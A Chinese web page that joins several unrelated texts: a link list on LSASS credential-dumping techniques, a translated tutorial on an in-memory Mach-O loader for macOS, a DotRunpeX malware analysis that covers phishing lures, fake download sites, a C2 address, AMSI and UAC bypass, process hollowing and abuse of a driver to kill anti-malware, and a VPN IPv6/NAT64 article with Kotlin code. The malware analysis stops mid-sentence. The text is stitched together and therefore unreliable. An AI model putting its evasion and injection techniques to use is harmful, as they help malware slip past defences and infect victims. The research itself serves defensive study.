https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp
https://xz.aliyun.com/t/8323
https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.wangan.com/p/11v72bf602eabeb6
https://github.com/haoami/RustSSPdumpHash


转载于原文链接地址:https://forum.butian.net/share/2434


在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的?

接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。

為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64:

1.png

要構造加載器,我們需要檢查以下幾個字段:

magic-此字段應包含MH_magic_64的值;

Cputype-對於M1,應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。

如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示:

2.png

cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下:

3.png

如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構:

4.png

出於本文的目的,我們將關注:

segname -段的名稱,例如__TEXT;

vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段;

vmsize -要分配的虛擬內存的大小;

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量;

filesize -要從文件中復制的字節數;

maxprot-應分配給虛擬內存區域的最大內存保護值;

initprot -應分配給虛擬內存區域的初始內存保護;

nsects -遵循此段結構的節數。

要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如:

5.png

與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。

由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為:

6.png

同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助:

sectname -節的名稱,例如__text;

segname -與此節關聯的段的名稱;

addr -用於此節的虛擬地址偏移量;

size -文件中(以及虛擬內存中的)節的大小;

offset - Mach-O文件中部分內容的偏移量;

flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點:

7.png

符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的,如下所示:

8.png

同樣,我們將關注構建加載器所需的字段:

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量;

nsyms -符號(或nlist結構)的數量;

stroff -符號查找所使用的字符串的文件偏移量。

顯然,接下來我們需要知道nlist是什麼:

9.png

此結構為我們提供了有關命名符號的信息:

n_strx -從符號字符串字段到該符號字符串的偏移量;

n_value -包含符號的值,例如地址。

因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用:

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用:

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始:

13.png

使用dataoff便能找到標頭:

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段:

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量;

imports_count -導入項的數量;

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式:

15.png

可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2……

16.png

如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址:

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。

構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表:

19.png

首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下:

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型;

segment_offset-段起始地址在內存中的絕對偏移量;

page_count-page_start成員數組中的頁數;

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1):

在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。

22.png

然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。

構建加載器現在一切就緒,開始構建加載器。步驟如下:

1.分配內存區域;

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中;

3.將每個節加載到每個段中;

4.從LC_LOAD_DYLIB命令構建dylib的有序集合;

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行:

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容:

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。

微信截图_20230319161953.png

在過去的幾個月裡,CPR一直在監測DotRunpeX惡意軟件以及它在野外的使用情況。監測顯示,這種新型的網絡注入器仍在不斷發展中。 CPR發現了幾種不同的傳播方法,在發現的所有示例中,DotRunpeX都是第二階段感染的一部分。這種新的威脅被用來傳播許多不同的惡意軟件家族,主要與竊取程序、RAT、加載程序和下載程序有關。

與新版DotRunpeX相關的最早示例的日期為2022.10.17。關於這一威脅的首次公開信息發布日期為2022.10.26年。

本研究的主要主題是對兩個版本的DotRunpeX注入器進行深入分析,對比它們之間的相似之處,並介紹用於分析新版本的DotRunpeX的PoC技術,因為它是由自定義版本的KoiVM .NET protector.虛擬化傳播的。

主要發現Check Point Research(CPR)對DotRunpeX注入器及其與舊版本的關係進行了深入分析;DotRunpeX受到虛擬化(KoiVM的自定義版本)和混淆(ConfuserEx)的保護;

調查顯示,DotRunpeX在野外被用來傳播許多已知的惡意軟件家族;

通常通過網絡釣魚電子郵件作為惡意附件和偽裝成常規程序的網站進行傳播;

CPR確認並詳細說明了惡意使用易受攻擊的進程資源管理器驅動程序來禁用反惡意軟件服務的功能;

本文會介紹幾種PoC技術,這些技術已被批准用於反向工程受保護或虛擬化的dotnet代碼;

DotRunpeX是一種使用Process Hollowing技術在.NET中編寫的新註入器,用於感染各種已知惡意軟件家族的系統。儘管這種注入器是新的,但與舊版本有一些相似之處。此註入器的名稱基於其版本信息,在dotRunpeX的兩個版本中都是一樣的,在CPR分析的所有示例中都是一致的,並且包含ProductName–RunpeX.Stub.Frame。

在CPR監測這一威脅的同時,CPR發現了一些主要由獨立研究人員公開共享的信息,這些信息與DotRunpeX的功能有關,但被錯誤地歸因於另一個著名的惡意軟件家族。

CPR通過對這一威脅連續進行幾個月的監測,CPR獲得了足夠的信息來區分第一階段和第二階段(DotRunpeX)加載程序,但沒有跡象表明它們之間存在關係。在各種下載程序和加密貨幣竊取程序中,CPR發現了這些由dotRunpeX傳播的已知惡意軟件家族:

AgentTesla

ArrowRAT

AsyncRat

AveMaria/WarzoneRAT

BitRAT

Formbook

LgoogLoader

Lokibot

NetWire

PrivateLoader

QuasarRAT

RecordBreaker–RaccoonStealer2.0

Redline

Remcos

Rhadamanthys

SnakeKeylogger

Vidar

XWorm

1.png

DotRunpeX傳播的惡意軟件家族

從發生的時間順序來看,基於DotRunpeX示例的編譯時間戳,這種新的威脅主要在2022年11月和2023年1月開始流行。

2.png

DotRunpeX時間軸——編譯時間戳

感染途徑DotRunpeX注入器通常是原始感染的第二階段。典型的第一階段是.NET加載程序/下載程序的非常不同的變體。第一階段加載程序主要通過釣魚電子郵件作為惡意附件(通常是“.iso”、“.img”、“.zip”和“.7z”的一部分)或通過偽裝成常規程序實用程序的網站進行傳播。除了最常見的感染途徑外,DotRunpeX的客戶還很善於濫用谷歌廣告,甚至通過木馬惡意軟件構建器構建其他潛在的攻擊者。

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”將第一階段加載程序作為惡意“.7z”附件的一部分傳播第一階段加載程序,導致加載DotRunpeX(SHA256:“457cfd6222266941360fdbe36742486ee12419c95f1d7d3502243e795de28200e”)。

3.png

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”

釣魚網站會偽裝成常規程序實用程序(Galaxy Swapper、OBS Studio、洋蔥瀏覽器、Brave Wallet、LastPass、AnyDesk、MSI Afterburner),並提供第一階段加載程序,導致dotRunpeX在第二階段的一部分被感染。

偽裝成Galaxy Swapper的網站:https://www.galaxyswapper[.]ru/:

4.png

在谷歌搜索Galaxy Swapper得到的結果“https://www.galaxyswapper[.]ru/”

下載重定向到https://gitlab[.]com/forhost1232/galaxyv19.11.14/-/raw/main/galaxyv19.11.14.zip。

5.png

“https://www.galaxyswapper[.]ru/”上的下載按鈕重定向到一個木馬程序

偽裝成LastPass密碼管理器的網站:http://lastpass[.]shop/en/

6.png

網站“http://lastpass[.]shop/en/”偽裝成LastPass密碼管理器

LastPass密碼管理器的假冒網站在調查時已經關閉。儘管如此,CPR可以確認該假冒軟件是從“最終URL”https://gitlab[.]com/forhost1232/lastpassinstaller/-/raw/main/LastPassInstaller.zip下載的。

7.png

“http://lastpass[.]shop/en/”上的下載按鈕重定向到一個木馬程序

GitLab頁面https://gitlab[.]com/forhost1232包含數十個被DotRunpeX惡意軟件木馬化的程序。

8.png

GitLab存儲庫“https://gitlab[.]com/forhost1232”上的數十個木馬程序

在前面提到的GitLab頁面上,所有的木馬程序都包含了主.NET應用程序,並通過覆蓋層進行了放大,以避免使用沙盒進行掃描。

9.png

由GitLab存儲庫' https://gitlab[.]com/forhost1232 '提供的木馬程序示例

上面提到的帶有覆蓋的.NET應用程序是典型的第一階段,其行為就像帶有簡單混淆的dotnet加載程序。這些不同的加載程序變體在第二階段使用反射來加載DotRunpeX注入器。其中有些非常簡單,有些則更高級。

簡單的第一階段加載程序(System.Reflection.Assembly.Load()方法):

10.png

簡單的第一階段加載程序

下面可以看到更高級的第一階段加載程序的示例(使用AMSI Bypass和DynamicMethod通過反射加載和執行第二階段加載程序)。這種高級加載程序的優點是沒有直接引用System.Reflection.Assembly.Load()方法,因此它可以避免檢測依賴於.NET元數據靜態解析的引擎。

11.png

使用AMSI繞過和DynamicMethod的更高級的第一階段加載程序

後一種的去混淆形式如下圖所示:

12.png

更高級的第一階段加載程序的去混淆形式

從這些類型的加載程序中提取第二階段(DotRunpeX階段)的編程方式可以簡單地使用AsmResolver和反射來實現,如下所示。

13.png

使用AsmResolver和反射從第一階段加載程序提取DotRunpeX

值得注意的是,那些指向GitLab頁面的釣魚網站的示例只與一個活動有關,在這個活動中,DotRunpeX注入器總是負責注入帶有C2–77.73.134.2的Redline惡意軟件。

除了前面提到的最常見的感染途徑外,CPR還觀察到了一個非常有趣的感染途徑示例,在這個示例中,DotRunpeX的一位客戶可能已經厭倦了以普通受害者為目標,並決定以其他潛在的攻擊者為目標。 Redline構建器Redline_20_2_crack.rar(SHA256: “0e40e504c05c30a7987785996e2542c332100ae7ecf9f67ebe3c24ad2468527c”)被下載程序木馬化,該下載程序使用反射來加載dotRunpeX作為構建器的隱藏“添加功能”。

14.png

木馬化的Redline構建器的文件夾結構

事實證明,在Redline的構建過程中,根據需求進行配置,使用者還將獲得另一個Redline示例。

15.png

使用反射來加載DotRunpeX的下載程序,該下載程序傳播另一個Redline惡意軟件

舊版本的DotRunpeX:

使用自定義混淆:僅對名稱進行混淆;

配置有限(有效負載注入目標、提升+UAC繞過、有效負載解密的XOR密鑰);

只有一種UAC繞過技術;

使用簡單的XOR對要注入的主要有效負載進行解密;

使用D/Invoke類似的技術來調用本機代碼(基於使用GetDelegateForFunctionPointer()),但使用誘餌系統調用例程;

使用D/Invoke重新映射' ntdll.dll '

新版本的DotRunpeX:

由自定義版本的KoiVM虛擬程序保護;

高度可配置(禁用反惡意軟件服務,反虛擬程序,反沙盒,持久性設置,有效負載解密密鑰,UAC繞過方法);

更多的UAC繞過技術;

使用簡單的XOR來解密要注入的主要有效負載(在最新開發的版本中省略了);

濫用procexp驅動程序(Sysinternals)阻止受保護進程(反惡意軟件服務);

基於俄羅斯procexp驅動程序的標誌名稱Иисус.sys 翻譯過來就是“jesus.sys”;

兩個版本的相似之處:

用.NET編寫的64位可執行文件“.exe”;

用於注入幾個不同的惡意軟件家族;

使用簡單的XOR對要注入的主要有效負載進行解密;

可能使用相同的UAC繞過技術(新版DotRunpeX提供了更多技術);

16.png

UAC繞過技術

使用相同的版本信息;

17.png

DotRunpeX版本信息

使用相同的.NET資源名稱BIDEN_HARRIS_PERFECT_ASSHOLE來保存要注入的加密有效負載:

18.png

新舊版本的Dotnet資源名

使用相同的代碼注入技術——Process Hollowing;

使用相同的結構化類定義本機委託;

19.png

用於定義Native委託的相同結構化類

完整的技術分析——舊版本的DotRunpeX對於舊版本的DotRunpeX的分析,使用了示例SHA256:“65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,實現了自定義的混淆——只對名稱進行混淆。 CPR分析的所有示例的版本信息都是一致的,CPR可以注意到ProductName - RunpeX.Stub.Framework,這可能是某種CPR正在處理網絡注入器的第一個提示。

20.png

舊DotRunpeX版本信息

為了方便介紹,CPR對方法名稱、參數和局部變量進行了部分清理。就在Main()方法中,CPR可以看到資源BIDEN_HARRIS_PERFECT_ASSHOLE的簡單XOR解密,該資源包含要注入的加密有效負載。 CPR分析的所有示例的資源名稱都是一致的。

21.png

主要方法導致嵌入式有效負載的簡單XOR解密

CPR還可以看到具有類名UAC的名稱空間UACBypass,此類實現了UAC(用戶帳戶控制)繞過方法,但未配置為在此示例中使用。

22.png

UAC繞過方法

方法Inject()實現了一種稱為“Process Hollowing”的代碼注入技術。下圖顯示了一個正在生成處於掛鉤狀態的進程。

23.png

創建掛鉤的流程作為Process Hollowing技術的一部分

這種技術在惡意軟件開發領域並不新鮮。儘管如此,一旦CPR檢查了這個示例的P/Invoke(允許從託管代碼訪問非託管庫中的結構、回調和函數的技術)定義的方法,就可以立即發現一些有趣的東西。這些方法可以在ImplMap表中看到,該表是.NET元數據的一部分。

24.png

ImplMap表——舊版本的DotRunpeX

必須使用某些WIN API或NT API來執行Process Hollowing技術。正如CPR在ImplMap表中看到的那樣,缺少了一些最關鍵的API。更具體地說,CPR看不到任何與取消映射和寫入遠程進程內存相關的API。這背後的原因是使用D/Invoke框架來調用某些通常會引起注意的NTAPI例程。

D/Invoke包含功能強大的原語,這些原語可以智能地組合在一起,以精確地從磁盤或內存動態調用非託管代碼。它依賴於dotnet方法GetDelegateForFunctionPointer()的使用和相應的委託定義。

在這種情況下,NT API ZwOpenSection、ZwMapViewOfSection、ZwUnmapViewOfSection、NtClose、NtWriteVirtualMemory、NtResumeThread和RtlMoveMemory是通過D/Invoke實現的。委託的相應定義如下所示。

25.png

用於定義Native委託的類

更有趣的是,通過D/Invoke實現的4個NT api (ZwUnmapViewOfSection, NtWriteVirtualMemory, NtResumeThread, RtlMoveMemory)使用了一些可以被認為是添加的PoC技術,而不是原始D/Invoke框架的一部分——系統調用補丁。例如,CPR可以通過CallNtWriteVirtualMemory()方法檢查NtWriteVirtualMemory調用是如何實現的。

26.png

導致系統調用修復的D/Invoke實現示例

首先,我們可以看到MapDllandGetProcAddress()方法中D/Invoke框架的用法發生了變化。每次調用此方法時,它都會重新映射指定的庫,並獲得所需函數的地址。在返回所需函數的地址之前,使用指針算術將指針移動4個字節,使其指向系統調用號的地址。在這種情況下,' ntdll.dll '模塊被重新映射,返回NT API例程NtWriteVirtualMemory的地址,偏移量為4個字節。

27.png

改變了D/Invoke的用法,它返回指

隨著聯網設備數量的不斷增加,對互聯網協議(IP) 地址的需求已經超過了互聯網協議版本4 (IPv4) 地址的供應,導致採用互聯網協議版本6 (IPv6) 來減少加載IPv4 地址。

在您的虛擬專用網絡(VPN) 服務中使用IPv6 可以幫助您實現更好的安全性、支持更多功能並訪問更大的地址空間。該協議可以讓您的解決方案面向未來,使其能夠在特定的5G 網絡中運行,並支持支持IPv6 的企業和專用網絡。

在本文中,我們在解釋了IPv4 和IPv6 協議之間的差異後展示瞭如何將IPv6 支持添加到應用程序VPN。在我們的示例中,即使我們無法直接訪問IPv6 網絡,我們也會通過網絡地址轉換64 (NAT64) 添加IPv6 支持,並解釋NAT64 在IPv6 中的作用。您可以在可能無法對網絡進行細粒度控制的受限環境中使用我們在此處介紹的方法。受限環境是指只有IPv6 或IPv4 網絡可用的環境。在這樣的環境中,不可能到達存在於不受支持的地址空間中的某些目標服務器。

虛擬專用網絡簡介VPN 技術允許多台計算機通過軟件定義的虛擬網絡在互聯網上安全、私密地連接。這些虛擬網絡的創建獨立於底層物理網絡基礎設施的物理拓撲。您可以通過以下步驟實現此目的:

通過物理網絡打包和中繼VPN 數據包的虛擬網絡接口之間的隧道流量

將整個過程抽象為VPN 客戶端

這是一個簡單的VPN 設置示例:

image.png

基本的VPN 設置

在此設置中,如果客戶端設備1 想要向客戶端設備2 發送數據,則會發生以下情況:

客戶端設備1 可以使用10.0.0.2 地址通過其VPN 接口向VPN 服務器發送數據包。

接口查詢其配置信息並確定數據包的下一個目的地。當接口必須將數據包發送到另一台物理主機時,作為VPN 服務器的網絡適配器的物理接口將連同標頭一起傳輸整個數據包。

這個新數據包包含物理網絡的路由信息。

目標主機收到新數據包,解包原來的VPN 數據包,並以同樣的方式繼續路由。

這是包裝後的數據包的樣子:

image.png

包裹的VPN 數據包

請注意,VPN 接口的軟件實現生成物理接口的數據包,允許它在VPN 數據包被路由之前執行其他操作。例如,物理接口的數據包可以加密整個有效載荷,這樣物理主機就無法訪問嵌套的VPN 數據包,這是一個封裝在另一個VPN 數據包中的數據包。

這種在路由數據包之前嵌套數據包的想法也可以應用於常規數據包。以下是這個想法在這種情況下的工作方式:

VPN 服務要求操作系統通過其虛擬接口路由數據包。

VPN 接口根據其配置文件路由數據包。

例如,VPN 接口可以將數據包發送到VPN 服務器,VPN 服務器解壓縮到達的數據包,將它們代理到原始目的地,然後將響應返回給VPN 客戶端。

大多數人在考慮VPN 的工作原理時都會想到這種情況。虛擬專用網絡允許對客戶端的出站流量進行加密和代理,以提供額外的安全級別並向客戶端的互聯網服務提供商(ISP) 隱藏信息。

VPN 是在通信協議、加密和身份驗證的幫助下實現的,這些協議有助於在Internet 上安全地加密和傳輸數據。在下一節中,我們將討論哪些通信協議對於實施VPN 解決方案至關重要。

IPv4 和IPv6 概述及其與VPN 的連接大多數VPN 實施在開放系統互連模型的網絡層上運行。根據這個模型,VPN 實現處理IP 數據包並處理它們的路由。這需要VPN 網絡接口背後的軟件來實現Internet 協議,也可能需要一些傳輸層協議。

網絡協議是一組規則,描述數據的結構以及對等方應如何處理它。互聯網協議是一種特定的網絡協議,可以使互聯網上的設備之間進行通信。使用VPN 時,您通常需要使用多種協議,例如Internet 協議或傳輸控制協議(TCP),這些協議有助於通過Internet 在設備之間進行安全通信。 VPN 中使用IPv4 和IPv6 在設備之間傳輸數據。此外,已實現的TCP 可以根據從網絡接收到的原始字節重建TCP 數據包,並創建符合TCP 規則的新TCP 數據包。

實現一個網絡通信協議通常包括以下步驟:

編寫用於創建和解析數據包的函數

實現一個狀態機,它根據處理過的數據包的內容而改變

傳送數據包的方法不是協議的一部分,可以在協議實現過程之外進行處理。

現在,讓我們仔細看看兩個特定的協議:IPv4 和IPv6。這些是主要的互聯網協議,其中IPv4 是最常用的,而IPv6 是最新的。

IPv6 與IPv4:有何區別? IPv4是目前世界上使用最廣泛的協議,儘管它不是Internet 協議的最新版本。 IPv4 地址是32 位數字,以十進製表示法表示為由點分隔的四組數字;例如,192.168.0.1。

IPv4 最多支持大約43 億個唯一地址,因為地址字段只有4 個字節(或32 位)長。 IPv6使用128 位地址並提供更大的地址空間。這是IPv6 相對於IPv4 的主要優勢。由於連接互聯網的設備數量早已超過40 億大關,IPv4 的地址空間已經完全耗盡。在IPv6 網絡中,可能的地址數量為2^128,或大約340 六十億,大約是43 億的79 萬億倍。通過IPv4 網絡傳輸IPv6 流量還有幾個重要的好處:

image.png

IPv6 與IPv4 相比的優勢

基本IPv6 標頭僅包含協議運行的最重要信息。如果對等方需要在標頭中攜帶額外信息,他們可以將各種可選標頭鏈接在一起。這種方法減少了協議最常見用例的開銷,例如從A 向B 發送數據包。

image.png

IPv4 與IPv6 標頭

現在您已經知道切換到IPv6 協議的主要好處,讓我們來看看如何在IPv4 基礎設施上路由IPv6 流量。

使用IPv6 提高VPN 安全性要介紹任何協議,您需要閱讀文檔並實現狀態機和處理特定於所選協議的數據包的功能。但在此步驟中,您可能還會遇到一些問題。讓我們看一下在VPN 服務中實現IPv6 支持的標準機制。

當您允許來自IPv4 的IPv6 流量時,您可以實現以下目標:

允許客戶端應用訪問IPv6 網絡上的服務器

支持純IPv6 環境中的網絡

實施IPv6 協議的過程很簡單。 VPN 服務從其由操作系統管理的虛擬網絡接口獲取所有客戶端數據。此數據包括實際的協議標頭,直到VPN 服務必須處理的IP 標頭。 VPN 服務還必須能夠根據從虛擬網絡接口接收到的信息構建響應數據包。

使用IPv6 協議,處理數據包相當簡單:

VPN 服務會存儲原始標頭,直到它從目標服務器獲取響應。

VPN 服務通過交換源地址和目標地址並更新與負載相關的字段來重用標頭來構造響應數據包。

新標頭添加到響應數據之前,並寫回虛擬接口供操作系統處理。

您還可以使用其他編程語言在您的應用程序中實現VPN 服務,例如C/C++、Java、Python 和Rust。在本文中,我們探索了VPN 服務的Kotlin實現。當您需要實施每應用VPN 時,Kotlin 有一些好處,它允許您為每個應用創建單獨的VPN 連接以隔離網絡流量:

image.png

假設我們的VPN 服務可以直接訪問虛擬網絡接口的文件描述符。該服務通過多個套接字轉發數據包的有效負載,將數據包代理到外部世界。套接字本身和相關的元數據存儲在會話抽像中。然後,數據包由SessionHandler類處理。

以下是SessionHandler類在處理數據包時所做的事情:

解析數據包

根據存儲在相應會話中的信息決定如何處理它們

轉發數據包的內容

處理響應

在將響應放回網絡接口之前為客戶端重新打包響應

image.png

由於虛擬網絡接口由文件描述符表示,因此從中接收數據包就像從常規文件中讀取數據一樣容易:

image.png

原始字節很難處理,尤其是當您需要將它們解釋和操作為複雜的數據結構(如協議標頭)時。在Kotlin 中,可以創建可以解釋原始字節並提供用於更改標頭字段的簡單接口的精簡包裝器。此類包裝器提供與標頭中每個字段相對應的函數,提供對它們的輕鬆讀寫訪問。

您還可以將所有這些函數轉換為具有自定義getter 和setter 的字段。在這種情況下,使用包裝器的客戶端代碼看起來就像在操作常規數據類。 IP 標頭的包裝器如下所示:

classIPWrapper(bytes:ByteArray){

//wrapthebytesintotheByteBufferclassforeasierbytemanipulationandextrafunctionality

//besuretoaccountfortheByteBuffer'sstatefulnessandspecifyindicesexplicitlywhenaccessing

//thebytes

privatevalbuffer=ByteBuffer.wrap(bytes).order(ByteOrder.BIG_ENDIAN)

//theIPversionisstoredinthefirst4bitsoftheheader

varipVersion

//togetit,readthefirstbyteandshiftitby4bitstotheright

get()=(buffer.get(0).toInt()shr4)

//andtosetit,shiftthedesiredvaluetotheleftby4bitsandperformthebitwiseshiftOR

//onthefirstbyteoftheunderlyingbytearray

set(value){buffer.put(0,((valueshl4)or(buffer.get(0).toInt()and0x0F)).toByte())}

//IPv4andIPv6headerscontaindifferentfields,soifclientcodeattemptstoaccessafieldthat

//isnotpresentintheunderlyingpacket,throwanexception

varheaderLength

get()=

//checktheipversionbycallingtheipVersionmemberdeclaredearlier

if(ipVersion==4)(buffer.get(0)and0x0F)

//IPv6headerdoesnothaveafieldfortheheaderlength,sothereisnovaluethisgettercanreturn

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

set(value){

//similarly,ifthefieldisthere,setit

if(ipVersion==4)buffer.put(0,((valueand0x0F)or(buffer.get(0).toInt()and0xF0)).toByte())

//ifit'snot,throwanexception

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

}

//IPheaderscanbeofdifferentversions,andit'sconvenienttohaveasinglewrapperclass

//forbothIPv4andIPv6

varsrcIp

get()=InetAddress.getByAddress(run{

val(startPos,len)=

if(ipVersion==4)listOf(SOURCE_IP_POS_IPV4,ADDR_LEN_IPV4)

elselistOf(SOURCE_IP_POS_IPV6,ADDR_LEN_IPV6)

//whengettingtheIPaddress,simplycopythebytesthatrepresentitandpasstheresult

//intoJava'sInetAddress.getByAddressfunctionthatwilldotherestoftheparsing

buffer.array().copyOfRange(startPos,startPos+len)

})

set(value){

value.address.copyInto(

buffer.array(),

if(ipVersion==4)SOURCE_IP_POS_IPV4

elseSOURCE_IP_POS_IPV6

)

}

//dothesameforthedestinationaddress

vardestIp

get()=/*.*/

set(value)=/*.*/

//otherfieldscanbeimplementedinasimilarfashion

/*.*/

//thiswrappercanalsohavevariousconveniencefunctions;forexample,itcanprovide

//meansforeasilygettingthewrappedpacket'sheaderstoquicklycreateresponseheaders

funcopyHeaders()=/*.*/

//orhandlethechecksumcomputationsfortheIPandthenestedtransportheaders

funupdateChecksums()=/*.*/

}一旦SessionHandler 類收到數據包,它就可以將數據包字節放入IPWrapper對象並使用IPWrapper 類從IP 標頭訪問它需要的任何信息。例如,在創建響應數據包時,SessionHandler類可以簡單地複制標頭並更新字段,而不是創建一個全新的標頭:

image.png

您可以將生成的響應數據包寫回VPN 的網絡接口:

image.png

一旦SessionHandler 類將數據包的字節放入IPWrapper 類,路由軟件將解析VPN 服務生成的IP 標頭並將數據包路由到其目的地。在這種情況下,目標是本地應用程序,其出站流量已通過操作系統的路由規則重定向到VPN 的網絡接口。

現在,讓我們看看如果您只能訪問IPv4 網絡,如何檢查支持IPv6 的VPN。

使用NAT64 測試IPv6 實現雖然實施協議相對簡單,但測試才是真正挑戰的開始。那麼,NAT64、IPv4、IPv6是如何相互連接的呢?

IPv6 明顯優於IPv4,但支持IPv6 的基礎設施尚不存在。世界上許多ISP 仍然不支持IPv6,因此他們無法將IPv6 轉換為IPv4,反之亦然。因此,他們的客戶端無法訪問任何使用IPv6 的服務器。相反的情況也存在:有些網絡僅使用IPv6 運行,不處理IPv4 數據包。

要解決這些不兼容問題,您可以使用以下轉換機制之一:

image.png

IPv6 過渡機制

